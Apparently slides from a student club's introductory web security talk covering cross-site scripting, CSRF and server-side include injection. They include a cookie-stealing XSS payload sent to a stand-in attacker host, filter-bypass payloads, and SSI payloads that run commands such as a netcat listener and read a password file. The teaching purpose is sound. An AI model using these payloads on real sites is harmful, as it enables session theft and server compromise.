INTRO TO WEB SECURITY
PART 2
Web Attacks
UPCOMING EVENTS

EKOPARTY CTF
   Oct. 26th - 28th
CSG Open Lab
   Oct. 29th
Hack the Vote
   Nov. 4th-6th
DISCLAIMER

THE THINGS WE TEACH YOU DURING THESE PRESENTATIONS ARE NOT FOR USE ON WEBSITES THAT YOU DO NOT HAVE PERMISSION TO TEST.... THAT’S ILLEGAL
TOOLS FOR WEB EXPLOITS

• A browser like Firefox or Chrome
• Text editor
• Python
• Burp Suite
  • Software suite for testing web applications
List of Web Attacks

• Cross-site Scripting
• Cross-site Request Forgery (CSRF)
• Server Side Include (SSI) Injection
• SQL Injection (SQLi)
Cross-Site Scripting
Cross-Site Scripting (XSS)

• Type of injection attack, where a malicious Javascript is injected into a benign website
  • Results from improperly sanitizing user input
• Two types:
  • Stored
  • Reflected (Non-stored)
Stored XSS

• Entering the malicious script in a way that will be stored by the server
  • Entering script into the message field of a forum post
  • Entering script into username field of registration page (stored in SQL database)
Reflected XSS

• Entering the malicious script in a non-persistent way
  • For example, www.example.com/index.html?<script>alert(1)</script>

• Not very useful unless script is able to be executed by someone else
  • Usually used with phishing
  • Can be used to redirect to a malicious site
Check this out: http://website/search?keyword=<script>...</script>

GET http://attacker/?cookie=sensitive-data

GET http://website/search?keyword=<script>...</script>

Website's Response Script

```
print "<html>"
print "You searched for:"
print request.query['keyword']
print "</html>"
```

Victim's Browser

Website's Response to Victim

```
<html>
You searched for:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
</html>
```
Bypassing XSS Filtering

• Filtering based on characters: Looking for "<", "<script>“, or "</script>”
  • Using alternate tags: <img SRC="javascript:alert('Bypassed');">  
  • Adding extra characters: <<script>alert("Bypassed")</script>

• Filtering javascript
  • Use another scripting language (like vbscript)
Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF)

• An attack that manipulates a victim’s browser into executing a forged HTTP request

• Examples:
  • Executing a GET request to steal money from the victim’s bank account
  • Executing a POST request to a forum to make the victim post malicious javascript that redirects clients to a malicious site
Limitations of CSRF

- Requires victim to be currently accessing target website while they also access the malicious website
- Must target either
  - A site that doesn’t check the referer header
  OR
  - A browser or plugin that allows referer spoofing
- Must know correct format of HTTP requests
  - Might require guessing user ID or anti-CSRF token (not likely)
Server-Side Include Injection
Server Side Includes

• Interpreted server-side scripting language in Linux/Apache
• Frequently used for including contents of a file in the web server on web pages
• Typically denoted by .shtml, .stm, or .shtm
Why is SSI dangerous?

• Two very useful commands: #exec or #include

• #exec: executes a command on the web server
  • <!--#exec cmd="pwd" →
  • <!--#exec cmd="nc -l 8888"

• #include: includes the contents of a file on the web page
  • Same directory: <!--#include file="../..../hiddenpassword.txt" →
  • Within another directory: <!--#include virtual="../..../hiddenpassword.txt" →
Limitations of SSI Injection

- Requires web application to be utilizing SSI
- Most modern web servers have default configuration to allow SSI without its exec functionality
  - Additionally, easy enough to filter using basic user input filtering